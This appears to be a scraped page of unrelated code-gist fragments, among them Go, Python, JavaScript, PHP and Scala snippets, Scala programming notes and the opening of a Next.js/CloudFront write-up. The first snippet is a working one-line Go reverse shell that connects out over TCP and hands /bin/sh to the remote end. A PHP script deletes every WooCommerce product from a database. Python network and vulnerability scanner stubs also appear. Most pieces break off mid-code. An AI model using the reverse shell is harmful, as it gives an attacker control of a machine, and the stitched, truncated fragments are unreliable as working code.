View shell.go
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run();}'>/tmp/sh.go&&go run /tmp/sh.go
View ads_block_detect.js
var adBlockEnabled = false;
var testAd = document.createElement('div');
testAd.innerHTML = ' ';
testAd.className = 'adsbox';
window.setTimeout(function() {
if (testAd.offsetHeight === 0) {
adBlockEnabled = true;

Advanced Functional Programming with Scala - Notes

Copyright © 2016-2017 Fantasyland Institute of Learning. All rights reserved.

1. Mastering Functions

A function is a mapping from one set, called a domain, to another set, called the codomain. A function associates every element in the domain with exactly one element in the codomain. In Scala, both domain and codomain are types.

val square : Int => Int = x => x * x
#!/usr/bin/env python
import socket
from multiprocessing import Process, Queue
import time
import argparse
Tools to scan network from python.
Mostly taken from stack overflow and mixed together.
View Vulnerability Port Scanner
#I want to thank Mark Hufe for his video on creating a menu structure inside python.
#This helped me out a lot.
import subprocess
import sys
subnet_list = '/root/subnet_list'
vulscan_results = 'root/vulscan_results'
scan_results = '/root/scan_results'
### Parameters ###
subject="SMART Status Report for FreeNAS"
drives="da0 da1 da2 da3 da4 da5 da6 da7"
View delete-all-woocommerce-products.php
require dirname(__FILE__).'/wp-blog-header.php';
$wpdb->query("DELETE FROM wp_terms WHERE term_id IN (SELECT term_id FROM wp_term_taxonomy WHERE taxonomy LIKE 'pa_%')");
$wpdb->query("DELETE FROM wp_term_taxonomy WHERE taxonomy LIKE 'pa_%'");
$wpdb->query("DELETE FROM wp_term_relationships WHERE term_taxonomy_id not IN (SELECT term_taxonomy_id FROM wp_term_taxonomy)");
$wpdb->query("DELETE FROM wp_term_relationships WHERE object_id IN (SELECT ID FROM wp_posts WHERE post_type IN ('product','product_variation'))");
$wpdb->query("DELETE FROM wp_postmeta WHERE post_id IN (SELECT ID FROM wp_posts WHERE post_type IN ('product','product_variation'))");
$wpdb->query("DELETE FROM wp_posts WHERE post_type IN ('product','product_variation')");
class ConnectionPool():
conn_pool = nmi_mysql.ConnectionPool(config)
db = conn_pool.get_connection()
db.query('SELECT 1', [])
# Opens WebStorm from the command line using Git Bash for Windows. If you're
# working within the integrated terminal in WebStorm, this will open the file
# passed in using just the relative path. If the file specified doesn't exist,
# it creates it and opens it. Just copy wstorm() into wherever you keep your
# Bash aliases and make sure you change your Terminal path to Git Bash (see
# Notes section).
# ------
View How we use cloudfront and

How we incorporate next and cloudfront (2018-04-21)

Feel free to contact me at or tweet at me @statisticsftw

This is a rough outline of how we utilize next.js and S3/Cloudfront. Hope it helps!

It assumes some knowledge of AWS.